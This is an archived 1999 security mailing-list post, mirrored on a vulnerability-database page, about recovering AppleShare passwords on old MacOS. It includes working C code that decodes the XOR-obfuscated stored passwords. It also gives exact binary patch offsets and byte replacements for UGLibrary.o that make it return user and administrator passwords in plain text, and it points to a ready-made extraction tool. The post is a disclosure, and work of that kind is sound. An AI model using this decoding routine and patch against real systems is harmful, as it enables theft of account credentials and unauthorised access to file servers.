Lucene search
K

MacOS_encryption_algorithm.txt

🗓️ 19 Sep 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

MacOS encryption algorithm lacks password decoding; fix found in user data file processing.

Code
`Subject: MacOS system encryption algorithm 3  
To: [email protected]   
  
  
Sometime ago, Dawid adix Adamski <[email protected]> sent to  
bugtraq the encryption algorithm in MacOS personal AppleShare  
server he found.  
  
  
I have been researching a little on this subject, and I've found  
his code fails when decoding the first character of the password,  
for this char you need additional data from the "Users & Groups  
Data File", specifically, the 4th byte after the encoded sequence  
described in his message.  
  
  
So, after cleaning a little the code, you get something as simple as  
this:  
  
  
---------------------------------------------------------------------------  
#include <stdio.h>  
  
  
int main(){  
  
  
register int i=0;  
  
  
unsigned char *mask="rpcgtprk";  
unsigned char *pw="\x28\x08\x2F\x3B\x20\x36\x30\x5B\x00\x00\x00\x09";  
unsigned char c;  
  
  
for(i=0; i<7; i++)  
{  
c = pw[6-i] ^ mask[7-i];  
pw[7-i] ^= c;  
}  
c = pw[11] ^ mask[7-i];  
pw[7-i] ^= c;  
  
  
printf("\"%s\"\n",pw);  
}  
---------------------------------------------------------------------------  
  
  
But you still have to find the encrypted passwords in the binary  
data file.  
  
  
  
Apple's AppleShare SDK provides a "UGLibrary" to deal with this  
data file; but it doesn't let you access the user password (which  
is decrypted in the stack when you call "UGAuthenticateUser()",  
nor the encrypted one.  
  
  
In fact, in this call, the encrypted password is decrypted to the  
stack, and compared against the user supplied one.  
So, all we have to do is replace the compare with a copy:  
  
  
* 00000206: B036 70F4 '.6p.' CMP.B -$0C(A6,D7.W),D0  
* 0000020A: 6710 'g.' BEQ.S *+$0012 ; 0000021C  
*  
is replaced with  
*  
* # ADDQ.W #$02,A2 544A  
* # MOVE.B D0,-(A2) 1500  
* # BRA.S *+$0012 6010  
*  
* i.e., go to offset 28A0 and replace "B036 70F4 6710" with "544A 1500 6010"  
* in "UGLibrary.o"  
  
  
After that, we can build a simple program (about 150 lines) and  
with just a double click, we get a listing with all the users  
and decoded passwords in the system.  
  
  
That's enough for the personal AppleShare server included with  
MacOS 7.x and 8.x; for AppleShare server 3.x (and, probably 4.x;  
I didn't check it) the data file is protected by a "administrator  
password" so you need it before being able to use the modified  
UGAuthenticateUser().  
But that password uses the same encryption algorithm/check as  
the users ones, so we only have to change "UGOpenFile()" in the  
same way:  
at offset 0A92, B030 7000 671A becomes 544A 1500 601A  
  
  
  
So, with these modifications, AppleShare 3.x admin password  
is returned into filePB.ugAdminKey after UGOpenFile() and  
users password are returned into userPB.ugPassword after  
UGAuthenticateUser(), both in plain text format.  
  
  
  
A program which uses this method for listing users and passwords  
can be found (both MacOS 68k binary and source code) at  
ftp://ivo.cps.unizar.es/pub/SPDsoft/ASPID.sit  
(Stuffit 5.x archive)  
  
  
--  
finger [email protected] for PGP / So be easy and free  
.mailcap tip of the day: / when you're drinking with me  
application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every day  
text/x-vcard; cat '%s' > /dev/null / (the pogues)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation